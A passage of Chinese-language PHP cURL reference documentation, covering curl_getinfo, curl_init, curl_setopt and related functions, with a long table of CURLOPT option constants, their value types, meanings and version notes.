curl_exec(resource $ch): mixed 執行給定的 cURL 會話。 這個函數應該在初始化一個 cURL 會話并且全部的選項都被設置后被調用。成功時返回 true, 或者在失敗時返回 false。 然而,如果 設置了 CURLOPT_RETURNTRANSFER 選項,函數執行成功時會返回執行的結果,失敗時返回 false 。
7、curl_file_create
創建一個 CURLFile 對象
此函數是該函數的別名: CURLFile::__construct()8、curl_getinfo
獲取一個cURL連接資源句柄的信息
curl_getinfo(resource $ch, int $opt = 0): mixed 獲取最后一次傳輸的相關信息。 $opt 這個參數可能是以下常量之一: CURLINFO_EFFECTIVE_URL - 最后一個有效的URL地址 CURLINFO_HTTP_CODE - 最后一個收到的HTTP代碼 CURLINFO_FILETIME - 遠程獲取文檔的時間,如果無法獲取,則返回值為“-1” CURLINFO_TOTAL_TIME - 最后一次傳輸所消耗的時間 CURLINFO_NAMELOOKUP_TIME - 名稱解析所消耗的時間 CURLINFO_CONNECT_TIME - 建立連接所消耗的時間 CURLINFO_PRETRANSFER_TIME - 從建立連接到準備傳輸所使用的時間 CURLINFO_STARTTRANSFER_TIME - 從建立連接到傳輸開始所使用的時間 CURLINFO_REDIRECT_TIME - 在事務傳輸開始前重定向所使用的時間 CURLINFO_SIZE_UPLOAD - 以字節為單位返回上傳數據量的總值 CURLINFO_SIZE_DOWNLOAD - 以字節為單位返回下載數據量的總值 CURLINFO_SPEED_DOWNLOAD - 平均下載速度 CURLINFO_SPEED_UPLOAD - 平均上傳速度 CURLINFO_HEADER_SIZE - header部分的大小 CURLINFO_HEADER_OUT - 發送請求的字符串 CURLINFO_REQUEST_SIZE - 在HTTP請求中有問題的請求的大小 CURLINFO_SSL_VERIFYRESULT - 通過設置CURLOPT_SSL_VERIFYPEER返回的SSL證書驗證請求的結果 CURLINFO_CONTENT_LENGTH_DOWNLOAD - 從Content-Length: field中讀取的下載內容長度 CURLINFO_CONTENT_LENGTH_UPLOAD - 上傳內容大小的說明 CURLINFO_CONTENT_TYPE - 下載內容的Content-Type:值,NULL表示服務器沒有發送有效的Content-Type: header返回值
如果 opt 被設置,以字符串形式返回它的值。否則,返回返回一個包含下列元素的關聯數組(它們分別對應于 opt):
"url" "content_type" "http_code" "header_size" "request_size" "filetime" "ssl_verify_result" "redirect_count" "total_time" "namelookup_time" "connect_time" "pretransfer_time" "size_upload" "size_download" "speed_download" "speed_upload" "download_content_length" "upload_content_length" "starttransfer_time" "redirect_time"9、curl_init
初始化 cURL 會話
curl_init(string $url = null): resource 初始化新的會話,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函數使用。如果提供了該參數,CURLOPT_URL 選項將會被設置成這個值。你也可以使用curl_setopt()函數手動地設置這個值。
10、curl_pause
暫停和取消暫停一個連接。
curl_pause(resource $ch, int $bitmask): int bitmask: CURLPAUSE_* 常量之一。 返回一個錯誤代碼 (如果沒有錯誤則返回CURLE_OK常量)。11、curl_reset
重置一個 libcurl 會話句柄的所有的選項
curl_reset(resource $ch): void 該函數將給定的 cURL 句柄所有選項重新設置為默認值。12、curl_setopt_array
為 cURL 傳輸會話批量設置選項
curl_setopt_array(resource $ch, array $options): bool 為 cURL 傳輸會話批量設置選項。這個函數對于需要設置大量的 cURL 選項是非常有用的,不需要重復地調用 curl_setopt()。 options:一個 array 用來確定將被設置的選項及其值。數組的鍵值必須是一個有效的curl_setopt()常量或者是它們對等的整數值。如果全部的選項都被成功設置,返回true。如果一個選項不能被成功設置,馬上返回false,忽略其后的任何在options數組中的選項。13、curl_setopt
設置 cURL 傳輸選項
curl_setopt(resource $ch, int $option, mixed $value): bool 為 cURL 會話句柄設置選項。 option:需要設置的CURLOPT_XXX選項。 value:將設置在option選項上的值。以下 option 參數的 value應該被設置成 bool 類型:
| CURLOPT_AUTOREFERER | true 時將根據 Location: 重定向時,自動設置 header 中的Referer:信息。 | |
| CURLOPT_BINARYTRANSFER | 設為 true ,將在啟用 CURLOPT_RETURNTRANSFER 時,返回原生的(Raw)輸出。 | 從 PHP 5.1.3 開始,此選項不再有效果:使用 CURLOPT_RETURNTRANSFER 后總是會返回原生的(Raw)內容。 |
| CURLOPT_COOKIESESSION | 設為 true 時將開啟新的一次 cookie 會話。它將強制 libcurl 忽略之前會話時存的其他 cookie。 libcurl 在默認狀況下無論是否為會話,都會儲存、加載所有 cookie。會話 cookie 是指沒有過期時間,只存活在會話之中。 | |
| CURLOPT_CERTINFO | true 將在安全傳輸時輸出 SSL 證書信息到 STDERR。 | 在 cURL 7.19.1 中添加。 PHP 5.3.2 后有效。 需要開啟 CURLOPT_VERBOSE 才有效。 |
| CURLOPT_CONNECT_ONLY | true 將讓庫執行所有需要的代理、驗證、連接過程,但不傳輸數據。此選項用于 HTTP、SMTP 和 POP3。 | 在 7.15.2 中添加。 PHP 5.5.0 起有效。 |
| CURLOPT_CRLF | 啟用時將Unix的換行符轉換成回車換行符。 | |
| CURLOPT_DNS_USE_GLOBAL_CACHE | true 會啟用一個全局的DNS緩存。此選項非線程安全的,默認已開啟。 | |
| CURLOPT_FAILONERROR | 當 HTTP 狀態碼大于等于 400,true 將將顯示錯誤詳情。 默認情況下將返回頁面,忽略 HTTP 代碼。 | |
| CURLOPT_SSL_FALSESTART | true 開啟 TLS False Start (一種 TLS 握手優化方式) | cURL 7.42.0 中添加。自 PHP 7.0.7 起有效。 |
| CURLOPT_FILETIME | true 時,會嘗試獲取遠程文檔中的修改時間信息。 信息可通過curl_getinfo()函數的CURLINFO_FILETIME 選項獲取。 | |
| CURLOPT_FOLLOWLOCATION | true 時將會根據服務器返回 HTTP 頭中的 "Location: " 重定向。(注意:這是遞歸的,"Location: " 發送幾次就重定向幾次,除非設置了 CURLOPT_MAXREDIRS,限制最大重定向次數。)。 | |
| CURLOPT_FORBID_REUSE | true 在完成交互以后強制明確的斷開連接,不能在連接池中重用。 | |
| CURLOPT_FRESH_CONNECT | true 強制獲取一個新的連接,而不是緩存中的連接。 | |
| CURLOPT_FTP_USE_EPRT | true 時,當 FTP 下載時,使用 EPRT (和 LPRT)命令。 設置為 false 時禁用 EPRT 和 LPRT,僅僅使用PORT 命令。 | |
| CURLOPT_FTP_USE_EPSV | true 時,在FTP傳輸過程中,回到 PASV 模式前,先嘗試 EPSV 命令。設置為 false 時禁用 EPSV。 | |
| CURLOPT_FTP_CREATE_MISSING_DIRS | true 時,當 ftp 操作不存在的目錄時將創建它。 | |
| CURLOPT_FTPAPPEND | true 為追加寫入文件,而不是覆蓋。 | |
| CURLOPT_TCP_NODELAY | true 時禁用 TCP 的 Nagle 算法,就是減少網絡上的小包數量。 | PHP 5.2.1 有效,編譯時需要 libcurl 7.11.2 及以上。 |
| CURLOPT_FTPASCII | CURLOPT_TRANSFERTEXT 的別名。 | |
| CURLOPT_FTPLISTONLY | true 時只列出 FTP 目錄的名字。 | |
| CURLOPT_HEADER | 啟用時會將頭文件的信息作為數據流輸出。 | |
| CURLINFO_HEADER_OUT | true 時追蹤句柄的請求字符串。 | 從 PHP 5.1.3 開始可用。CURLINFO_ 的前綴是有意的(intentional)。 |
| CURLOPT_HTTPGET | true 時會設置 HTTP 的 method 為 GET,由于默認是 GET,所以只有 method 被修改時才需要這個選項。 | |
| CURLOPT_HTTPPROXYTUNNEL | true 會通過指定的 HTTP 代理來傳輸。 | |
| CURLOPT_MUTE | true 時將完全靜默,無論是何 cURL 函數。 | 在 cURL 7.15.5 中移出(可以使用 CURLOPT_RETURNTRANSFER 作為代替) |
| CURLOPT_NETRC | true 時,在連接建立時,訪問~/.netrc文件獲取用戶名和密碼來連接遠程站點。 | |
| CURLOPT_NOBODY | true 時將不輸出 BODY 部分。同時 Mehtod 變成了 HEAD。修改為 false 時不會變成 GET。 | |
| CURLOPT_NOPROGRESS | true 時關閉 cURL 的傳輸進度。 注意: PHP 默認自動設置此選項為 true,只有為了調試才需要改變設置。 | |
| CURLOPT_NOSIGNAL | true 時忽略所有的 cURL 傳遞給 PHP 進行的信號。在 SAPI 多線程傳輸時此項被默認啟用,所以超時選項仍能使用。 | cURL 7.10時被加入。 |
| CURLOPT_PATH_AS_IS | true 不處理 dot dot sequences (即 …/ ) | cURL 7.42.0 時被加入。 PHP 7.0.7 起有效。 |
| CURLOPT_PIPEWAIT | true 則等待 pipelining/multiplexing。 | cURL 7.43.0 時被加入。 PHP 7.0.7 起有效。 |
| CURLOPT_POST | true 時會發送 POST 請求,類型為:application/x-www-form-urlencoded,是 HTML 表單提交時最常見的一種。 | |
| CURLOPT_PUT | true 時允許 HTTP 發送文件。要被 PUT 的文件必須在 CURLOPT_INFILE和CURLOPT_INFILESIZE 中設置。 | |
| CURLOPT_RETURNTRANSFER | true 將curl_exec()獲取的信息以字符串返回,而不是直接輸出。 | |
| CURLOPT_SAFE_UPLOAD | true 禁用 @ 前綴在 CURLOPT_POSTFIELDS 中發送文件。 意味著 @ 可以在字段中安全得使用了。 可使用 CURLFile 作為上傳的代替。 | PHP 5.5.0 中添加,默認值 false。 PHP 5.6.0 改默認值為 true。. PHP 7 刪除了此選項, 必須使用 CURLFile interface 來上傳文件。 |
| CURLOPT_SASL_IR | true 開啟,收到首包(first packet)后發送初始的響應(initial response)。 | cURL 7.31.10 中添加,自 PHP 7.0.7 起有效。 |
| CURLOPT_SSL_ENABLE_ALPN | false 禁用 SSL 握手中的 ALPN (如果 SSL 后端的 libcurl 內建支持) 用于協商到 http2。 | cURL 7.36.0 中增加, PHP 7.0.7 起有效。 |
| CURLOPT_SSL_ENABLE_NPN | false 禁用 SSL 握手中的 NPN(如果 SSL 后端的 libcurl 內建支持),用于協商到 http2。 | cURL 7.36.0 中增加, PHP 7.0.7 起有效。 |
| CURLOPT_SSL_VERIFYPEER | false 禁止 cURL 驗證對等證書(peer’s certificate)。要驗證的交換證書可以在 CURLOPT_CAINFO 選項中設置,或在 **CURLOPT_CAPATH**中設置證書目錄。 | 自cURL 7.10開始默認為 true。從 cURL 7.10開始默認綁定安裝。 |
| CURLOPT_SSL_VERIFYSTATUS | true 驗證證書狀態。 | cURL 7.41.0 中添加, PHP 7.0.7 起有效。 |
| CURLOPT_TCP_FASTOPEN | true 開啟 TCP Fast Open。 | cURL 7.49.0 中添加, PHP 7.0.7 起有效。 |
| CURLOPT_TFTP_NO_OPTIONS | true 不發送 TFTP 的 options 請求。 | 自 cURL 7.48.0 添加, PHP 7.0.7 起有效。 |
| CURLOPT_TRANSFERTEXT | true 對 FTP 傳輸使用 ASCII 模式。對于LDAP,它檢索純文本信息而非 HTML。在 Windows 系統上,系統不會把 STDOUT 設置成二進制 模式。 | |
| CURLOPT_UNRESTRICTED_AUTH | true 在使用**CURLOPT_FOLLOWLOCATION**重定向 header 中的多個 location 時繼續發送用戶名和密碼信息,哪怕主機名已改變。 | |
| CURLOPT_UPLOAD | true 準備上傳。 | |
| CURLOPT_VERBOSE | true 會輸出所有的信息,寫入到STDERR,或在**CURLOPT_STDERR**中指定的文件。 |
? 以下 option的value應該被設置成 integer:
| CURLOPT_BUFFERSIZE | 每次讀入的緩沖的尺寸。當然不保證每次都會完全填滿這個尺寸。 | 在cURL 7.10中被加入。 |
| CURLOPT_CLOSEPOLICY | CURLCLOSEPOLICY_\* 中的一個。 注意: 此選項已被廢棄,它不會被實現,永遠不會有效果啦。 | PHP 5.6.0 中移除。 |
| CURLOPT_CONNECTTIMEOUT | 在嘗試連接時等待的秒數。設置為0,則無限等待。 | |
| CURLOPT_CONNECTTIMEOUT_MS | 嘗試連接等待的時間,以毫秒為單位。設置為0,則無限等待。 如果 libcurl 編譯時使用系統標準的名稱解析器( standard system name resolver),那部分的連接仍舊使用以秒計的超時解決方案,最小超時時間還是一秒鐘。 | 在 cURL 7.16.2 中被加入。從 PHP 5.2.3 開始可用。 |
| CURLOPT_DNS_CACHE_TIMEOUT | 設置在內存中緩存 DNS 的時間,默認為120秒(兩分鐘)。 | |
| CURLOPT_EXPECT_100_TIMEOUT_MS | 超時預計: 100毫秒內的 continue 響應 默認為 1000 毫秒。 | cURL 7.36.0 中添加,自 PHP 7.0.7 有效。 |
| CURLOPT_FTPSSLAUTH | FTP驗證方式(啟用的時候):CURLFTPAUTH_SSL (首先嘗試SSL),CURLFTPAUTH_TLS (首先嘗試TLS)或CURLFTPAUTH_DEFAULT (讓cURL 自個兒決定)。 | 在 cURL 7.12.2 中被加入。 |
| CURLOPT_HEADEROPT | How to deal with headers. One of the following constants: CURLHEADER_UNIFIED: the headers specified in CURLOPT_HTTPHEADER will be used in requests both to servers and proxies. With this option enabled, CURLOPT_PROXYHEADER will not have any effect. CURLHEADER_SEPARATE: makes CURLOPT_HTTPHEADER headers only get sent to a server and not to a proxy. Proxy headers must be set with CURLOPT_PROXYHEADER to get used. Note that if a non-CONNECT request is sent to a proxy, libcurl will send both server headers and proxy headers. When doing CONNECT, libcurl will send CURLOPT_PROXYHEADER headers only to the proxy and then CURLOPT_HTTPHEADER headers only to the server. Defaults to CURLHEADER_SEPARATE as of cURL 7.42.1, and CURLHEADER_UNIFIED before. | Added in cURL 7.37.0. Available since PHP 7.0.7. |
| CURLOPT_HTTP_VERSION | CURL_HTTP_VERSION_NONE (默認值,讓 cURL 自己判斷使用哪個版本),CURL_HTTP_VERSION_1_0 (強制使用 HTTP/1.0)或CURL_HTTP_VERSION_1_1 (強制使用 HTTP/1.1)。 | |
| CURLOPT_HTTPAUTH | 使用的 HTTP 驗證方法。選項有: CURLAUTH_BASIC、 CURLAUTH_DIGEST、 CURLAUTH_GSSNEGOTIATE、 CURLAUTH_NTLM、 CURLAUTH_ANY和 CURLAUTH_ANYSAFE。 可以使用 | 位域(OR)操作符結合多個值,cURL 會讓服務器選擇受支持的方法,并選擇最好的那個。 CURLAUTH_ANY是 CURLAUTH_BASIC | CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM 的別名。 CURLAUTH_ANYSAFE 是 CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM 的別名。 | |
| CURLOPT_INFILESIZE | 希望傳給遠程站點的文件尺寸,字節(byte)為單位。 注意無法用這個選項阻止 libcurl 發送更多的數據,確切發送什么取決于 CURLOPT_READFUNCTION。 | |
| CURLOPT_LOW_SPEED_LIMIT | 傳輸速度,每秒字節(bytes)數,根據**CURLOPT_LOW_SPEED_TIME**秒數統計是否因太慢而取消傳輸。 | |
| CURLOPT_LOW_SPEED_TIME | 當傳輸速度小于**CURLOPT_LOW_SPEED_LIMIT**時(bytes/sec),PHP會判斷是否因太慢而取消傳輸。 | |
| CURLOPT_MAXCONNECTS | 允許的最大連接數量。達到限制時,會通過**CURLOPT_CLOSEPOLICY**決定應該關閉哪些連接。 | |
| CURLOPT_MAXREDIRS | 指定最多的 HTTP 重定向次數,這個選項是和**CURLOPT_FOLLOWLOCATION**一起使用的。 | |
| CURLOPT_PORT | 用來指定連接端口。 | |
| CURLOPT_POSTREDIR | 位掩碼, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 設置 CURLOPT_FOLLOWLOCATION 時,什么情況下需要再次 HTTP POST 到重定向網址。 | cURL 7.19.1 中添加,PHP 5.3.2 開始可用。 |
| CURLOPT_PROTOCOLS | CURLPROTO_\*的位掩碼。 啟用時,會限制 libcurl 在傳輸過程中可使用哪些協議。 這將允許你在編譯libcurl時支持眾多協議,但是限制只用允許的子集。默認 libcurl 將使用所有支持的協議。 參見CURLOPT_REDIR_PROTOCOLS。 可用的協議選項為: CURLPROTO_HTTP、 CURLPROTO_HTTPS、 CURLPROTO_FTP、 CURLPROTO_FTPS、 CURLPROTO_SCP、 CURLPROTO_SFTP、 CURLPROTO_TELNET、 CURLPROTO_LDAP、 CURLPROTO_LDAPS、 CURLPROTO_DICT、 CURLPROTO_FILE、 CURLPROTO_TFTP、 CURLPROTO_ALL。 | 在 cURL 7.19.4 中被加入。 |
| CURLOPT_PROXYAUTH | HTTP 代理連接的驗證方式。使用在**CURLOPT_HTTPAUTH**中的位掩碼。 當前僅僅支持 CURLAUTH_BASIC和CURLAUTH_NTLM。 | 在 cURL 7.10.7 中被加入。 |
| CURLOPT_PROXYPORT | 代理服務器的端口。端口也可以在**CURLOPT_PROXY**中設置。 | |
| CURLOPT_PROXYTYPE | 可以是 CURLPROXY_HTTP (默認值) CURLPROXY_SOCKS4、 CURLPROXY_SOCKS5、 CURLPROXY_SOCKS4A 或 CURLPROXY_SOCKS5_HOSTNAME。 | 在 cURL 7.10 中被加入。 |
| CURLOPT_REDIR_PROTOCOLS | CURLPROTO_\* 值的位掩碼。如果被啟用,位掩碼會限制 libcurl 在 CURLOPT_FOLLOWLOCATION開啟時,使用的協議。 默認允許除 FILE 和 SCP 外所有協議。 這和 7.19.4 前的版本無條件支持所有支持的協議不同。關于協議常量,請參照CURLOPT_PROTOCOLS。 | 在 cURL 7.19.4 中被加入。 |
| CURLOPT_RESUME_FROM | 在恢復傳輸時,傳遞字節為單位的偏移量(用來斷點續傳)。 | |
| CURLOPT_SSL_OPTIONS | Set SSL behavior options, which is a bitmask of any of the following constants: CURLSSLOPT_ALLOW_BEAST: do not attempt to use any workarounds for a security flaw in the SSL3 and TLS1.0 protocols. CURLSSLOPT_NO_REVOKE: disable certificate revocation checks for those SSL backends where such behavior is present. | Added in cURL 7.25.0. Available since PHP 7.0.7. |
| CURLOPT_SSL_VERIFYHOST | 設置為 1 是檢查服務器SSL證書中是否存在一個公用名(common name)。譯者注:公用名(Common Name)一般來講就是填寫你將要申請SSL證書的域名 (domain)或子域名(sub domain)。 設置成 2,會檢查公用名是否存在,并且是否與提供的主機名匹配。 0 為不檢查名稱。 在生產環境中,這個值應該是 2(默認值)。 | 值 1 的支持在 cURL 7.28.1 中被刪除了。 |
| CURLOPT_SSLVERSION | CURL_SSLVERSION_DEFAULT (0), CURL_SSLVERSION_TLSv1 (1), CURL_SSLVERSION_SSLv2 (2), CURL_SSLVERSION_SSLv3 (3), CURL_SSLVERSION_TLSv1_0 (4), CURL_SSLVERSION_TLSv1_1 (5) , CURL_SSLVERSION_TLSv1_2 (6) 中的其中一個。 注意: 你最好別設置這個值,讓它使用默認值。 設置為 2 或 3 比較危險,在 SSLv2 和 SSLv3 中有弱點存在。 | |
| CURLOPT_STREAM_WEIGHT | 設置 stream weight 數值 ( 1 和 256 之間的數字). | cURL 7.46.0 中添加,自 PHP 7.0.7 起有效。 |
| CURLOPT_TIMECONDITION | 設置如何對待 CURLOPT_TIMEVALUE。 使用 CURL_TIMECOND_IFMODSINCE,僅在頁面 CURLOPT_TIMEVALUE 之后修改,才返回頁面。沒有修改則返回 "304 Not Modified" 頭,假設設置了 CURLOPT_HEADER 為 true。CURL_TIMECOND_IFUNMODSINCE則起相反的效果。 默認為 CURL_TIMECOND_IFMODSINCE。 | |
| CURLOPT_TIMEOUT | 允許 cURL 函數執行的最長秒數。 | |
| CURLOPT_TIMEOUT_MS | 設置cURL允許執行的最長毫秒數。 如果 libcurl 編譯時使用系統標準的名稱解析器( standard system name resolver),那部分的連接仍舊使用以秒計的超時解決方案,最小超時時間還是一秒鐘。 | 在 cURL 7.16.2 中被加入。從 PHP 5.2.3 起可使用。 |
| CURLOPT_TIMEVALUE | 秒數,從 1970年1月1日開始。這個時間會被 **CURLOPT_TIMECONDITION**使。默認使用CURL_TIMECOND_IFMODSINCE。 | |
| CURLOPT_MAX_RECV_SPEED_LARGE | 如果下載速度超過了此速度(以每秒字節數來統計) ,即傳輸過程中累計的平均數,傳輸就會降速到這個參數的值。默認不限速。 | cURL 7.15.5 中添加, PHP 5.4.0 有效。 |
| CURLOPT_MAX_SEND_SPEED_LARGE | 如果上傳的速度超過了此速度(以每秒字節數來統計),即傳輸過程中累計的平均數 ,傳輸就會降速到這個參數的值。默認不限速。 | cURL 7.15.5 中添加, PHP 5.4.0 有效。 |
| CURLOPT_SSH_AUTH_TYPES | A bitmask consisting of one or more of CURLSSH_AUTH_PUBLICKEY, CURLSSH_AUTH_PASSWORD, CURLSSH_AUTH_HOST, CURLSSH_AUTH_KEYBOARD. Set to CURLSSH_AUTH_ANY to let libcurl pick one. | cURL 7.16.1 中添加。 |
| CURLOPT_IPRESOLVE | 允許程序選擇想要解析的 IP 地址類別。只有在地址有多種 ip 類別的時候才能用,可以的值有: CURL_IPRESOLVE_WHATEVER、 CURL_IPRESOLVE_V4、 CURL_IPRESOLVE_V6,默認是 CURL_IPRESOLVE_WHATEVER。 | cURL 7.10.8 中添加。 |
| CURLOPT_FTP_FILEMETHOD | 告訴 curl 使用哪種方式來獲取 FTP(s) 服務器上的文件。可能的值有: CURLFTPMETHOD_MULTICWD、 CURLFTPMETHOD_NOCWD 和 CURLFTPMETHOD_SINGLECWD。 | cURL 7.15.1 中添加, PHP 5.3.0 起有效。 |
? 對于下面的這些option,value應該被設置成 string:
| CURLOPT_CAINFO | 一個保存著1個或多個用來讓服務端驗證的證書的文件名。這個參數僅僅在和**CURLOPT_SSL_VERIFYPEER**一起使用時才有意義。 . | 可能需要絕對路徑。 |
| CURLOPT_CAPATH | 一個保存著多個CA證書的目錄。這個選項是和**CURLOPT_SSL_VERIFYPEER**一起使用的。 | |
| CURLOPT_COOKIE | 設定 HTTP 請求中"Cookie: "部分的內容。多個 cookie 用分號分隔,分號后帶一個空格(例如, “fruit=apple; colour=red”)。 | |
| CURLOPT_COOKIEFILE | 包含 cookie 數據的文件名,cookie 文件的格式可以是 Netscape 格式,或者只是純 HTTP 頭部風格,存入文件。如果文件名是空的,不會加載 cookie,但 cookie 的處理仍舊啟用。 | |
| CURLOPT_COOKIEJAR | 連接結束后,比如,調用 curl_close 后,保存 cookie 信息的文件。 | |
| CURLOPT_CUSTOMREQUEST | HTTP 請求時,使用自定義的 Method 來代替"GET"或"HEAD"。對 "DELETE" 或者其他更隱蔽的 HTTP 請求有用。 有效值如 "GET","POST","CONNECT"等等;也就是說,不要在這里輸入整行 HTTP 請求。例如輸入"GET /index.html HTTP/1.0\r\n\r\n"是不正確的。 注意: 不確定服務器支持這個自定義方法則不要使用它。 | |
| CURLOPT_DEFAULT_PROTOCOL | URL不帶協議的時候,使用的默認協議。 | cURL 7.45.0 中添加,自 PHP 7.0.7 起有效。 |
| CURLOPT_DNS_INTERFACE | Set the name of the network interface that the DNS resolver should bind to. This must be an interface name (not an address). | Added in cURL 7.33.0. Available since PHP 7.0.7. |
| CURLOPT_DNS_LOCAL_IP4 | Set the local IPv4 address that the resolver should bind to. The argument should contain a single numerical IPv4 address as a string. | Added in cURL 7.33.0. Available since PHP 7.0.7. |
| CURLOPT_DNS_LOCAL_IP6 | Set the local IPv6 address that the resolver should bind to. The argument should contain a single numerical IPv6 address as a string. | Added in cURL 7.33.0. Available since PHP 7.0.7. |
| CURLOPT_EGDSOCKET | 類似**CURLOPT_RANDOM_FILE**,除了一個Entropy Gathering Daemon套接字。 | |
| CURLOPT_ENCODING | HTTP請求頭中"Accept-Encoding: "的值。 這使得能夠解碼響應的內容。 支持的編碼有"identity","deflate"和"gzip"。如果為空字符串"",會發送所有支持的編碼類型。 | 在 cURL 7.10 中被加入。 |
| CURLOPT_FTPPORT | 這個值將被用來獲取供FTP"PORT"指令所需要的IP地址。 “PORT” 指令告訴遠程服務器連接到我們指定的IP地址。這個字符串可以是純文本的IP地址、主機名、一個網絡接口名(UNIX下)或者只是一個’-'來使用默認的 IP 地址。 | |
| CURLOPT_INTERFACE | 發送的網絡接口(interface),可以是一個接口名、IP 地址或者是一個主機名。 | |
| CURLOPT_KEYPASSWD | 使用 CURLOPT_SSLKEY 或 CURLOPT_SSH_PRIVATE_KEYFILE 私鑰時候的密碼。 | 在 cURL 7.16.1 中添加。 |
| CURLOPT_KRB4LEVEL | KRB4 (Kerberos 4) 安全級別。下面的任何值都是有效的(從低到高的順序):"clear"、"safe"、"confidential"、"private".。如果字符串以上這些,將使用"private"。 這個選項設置為 null 時將禁用 KRB4 安全認證。目前 KRB4 安全認證只能用于 FTP 傳輸。 | |
| CURLOPT_LOGIN_OPTIONS | Can be used to set protocol specific login options, such as the preferred authentication mechanism via “AUTH=NTLM” or “AUTH=*”, and should be used in conjunction with the CURLOPT_USERNAME option. | Added in cURL 7.34.0. Available since PHP 7.0.7. |
| CURLOPT_PINNEDPUBLICKEY | Set the pinned public key. The string can be the file name of your pinned public key. The file format expected is “PEM” or “DER”. The string can also be any number of base64 encoded sha256 hashes preceded by “sha256//” and separated by “;”. | Added in cURL 7.39.0. Available since PHP 7.0.7. |
| CURLOPT_POSTFIELDS | 全部數據使用HTTP協議中的 “POST” 操作來發送。 要發送文件,在文件名前面加上@前綴并使用完整路徑。 文件類型可在文件名后以 ‘;type=mimetype’ 的格式指定。 這個參數可以是 urlencoded 后的字符串,類似’para1=val1¶2=val2&...’,也可以使用一個以字段名為鍵值,字段數據為值的數組。 如果value是一個數組,Content-Type頭將會被設置成multipart/form-data。 從 PHP 5.2.0 開始,使用 @ 前綴傳遞文件時,value 必須是個數組。 從 PHP 5.5.0 開始, @ 前綴已被廢棄,文件可通過 CURLFile 發送。 設置 CURLOPT_SAFE_UPLOAD 為 true 可禁用 @ 前綴發送文件,以增加安全性。 | |
| CURLOPT_PRIVATE | Any data that should be associated with this cURL handle. This data can subsequently be retrieved with the CURLINFO_PRIVATE option of curl_getinfo(). cURL does nothing with this data. When using a cURL multi handle, this private data is typically a unique key to identify a standard cURL handle. | Added in cURL 7.10.3. |
| CURLOPT_PROXY | HTTP 代理通道。 | |
| CURLOPT_PROXY_SERVICE_NAME | 代理驗證服務的名稱。 | cURL 7.34.0 中添加,PHP 7.0.7 起有效。 |
| CURLOPT_PROXYUSERPWD | 一個用來連接到代理的"[username]:[password]"格式的字符串。 | |
| CURLOPT_RANDOM_FILE | 一個被用來生成 SSL 隨機數種子的文件名。 | |
| CURLOPT_RANGE | 以"X-Y"的形式,其中X和Y都是可選項獲取數據的范圍,以字節計。HTTP傳輸線程也支持幾個這樣的重復項中間用逗號分隔如"X-Y,N-M"。 | |
| CURLOPT_REFERER | 在HTTP請求頭中"Referer: "的內容。 | |
| CURLOPT_SERVICE_NAME | 驗證服務的名稱 | cURL 7.43.0 起添加,自 PHP 7.0.7 有效。 |
| CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 | 包含 32 位長的 16 進制數值。這個字符串應該是遠程主機公鑰(public key) 的 MD5 校驗值。在不匹配的時候 libcurl 會拒絕連接。 此選項僅用于 SCP 和 SFTP 的傳輸。 | cURL 7.17.1 中添加。 |
| CURLOPT_SSH_PUBLIC_KEYFILE | The file name for your public key. If not used, libcurl defaults to $HOME/.ssh/id_dsa.pub if the HOME environment variable is set, and just “id_dsa.pub” in the current directory if HOME is not set. | Added in cURL 7.16.1. |
| CURLOPT_SSH_PRIVATE_KEYFILE | The file name for your private key. If not used, libcurl defaults to $HOME/.ssh/id_dsa if the HOME environment variable is set, and just “id_dsa” in the current directory if HOME is not set. If the file is password-protected, set the password with CURLOPT_KEYPASSWD. | Added in cURL 7.16.1. |
| CURLOPT_SSL_CIPHER_LIST | 一個SSL的加密算法列表。例如RC4-SHA和TLSv1都是可用的加密列表。 | |
| CURLOPT_SSLCERT | 一個包含 PEM 格式證書的文件名。 | |
| CURLOPT_SSLCERTPASSWD | 使用**CURLOPT_SSLCERT**證書需要的密碼。 | |
| CURLOPT_SSLCERTTYPE | 證書的類型。支持的格式有"PEM" (默認值), "DER"和"ENG"。 | 在 cURL 7.9.3中 被加入。 |
| CURLOPT_SSLENGINE | 用來在**CURLOPT_SSLKEY**中指定的SSL私鑰的加密引擎變量。 | |
| CURLOPT_SSLENGINE_DEFAULT | 用來做非對稱加密操作的變量。 | |
| CURLOPT_SSLKEY | 包含 SSL 私鑰的文件名。 | |
| CURLOPT_SSLKEYPASSWD | 在 **CURLOPT_SSLKEY**中指定了的SSL私鑰的密碼。 注意: 由于這個選項包含了敏感的密碼信息,記得保證這個PHP腳本的安全。 | |
| CURLOPT_SSLKEYTYPE | **CURLOPT_SSLKEY**中規定的私鑰的加密類型,支持的密鑰類型為"PEM"(默認值)、"DER"和"ENG"。 | |
| CURLOPT_UNIX_SOCKET_PATH | 使用 Unix 套接字作為連接,并用指定的 string 作為路徑。 | cURL 7.40.0 中添加, PHP 7.0.7 起有效。 |
| CURLOPT_URL | 需要獲取的 URL 地址,也可以在curl_init() 初始化會話的時候。 | |
| CURLOPT_USERAGENT | 在HTTP請求中包含一個"User-Agent: "頭的字符串。 | |
| CURLOPT_USERNAME | 驗證中使用的用戶名。 | cURL 7.19.1 中添加,PHP 5.5.0 起有效。 |
| CURLOPT_USERPWD | 傳遞一個連接中需要的用戶名和密碼,格式為:"[username]:[password]"。 | |
| CURLOPT_XOAUTH2_BEARER | 指定 OAuth 2.0 access token。 | cURL 7.33.0 中添加,自 PHP 7.0.7 添加。 |
以下option,value應該被設置成數組:
| CURLOPT_CONNECT_TO | 連接到指定的主機和端口,替換 URL 中的主機和端口。接受指定字符串格式的數組: HOST:PORT:CONNECT-TO-HOST:CONNECT-TO-PORT。 | cURL 7.49.0 中添加, PHP 7.0.7 起有效。 |
| CURLOPT_HTTP200ALIASES | HTTP 200 響應碼數組,數組中的響應碼被認為是正確的響應,而非錯誤。 | 在 cURL 7.10.3 中被加入。 |
| CURLOPT_HTTPHEADER | 設置 HTTP 頭字段的數組。格式: array('Content-type: text/plain', 'Content-length: 100') | |
| CURLOPT_POSTQUOTE | 在 FTP 請求執行完成后,在服務器上執行的一組array格式的 FTP 命令。 | |
| CURLOPT_PROXYHEADER | 傳給代理的自定義 HTTP 頭。 | cURL 7.37.0 中添加,自 PHP 7.0.7 添加。 |
| CURLOPT_QUOTE | 一組先于 FTP 請求的在服務器上執行的FTP命令。 | |
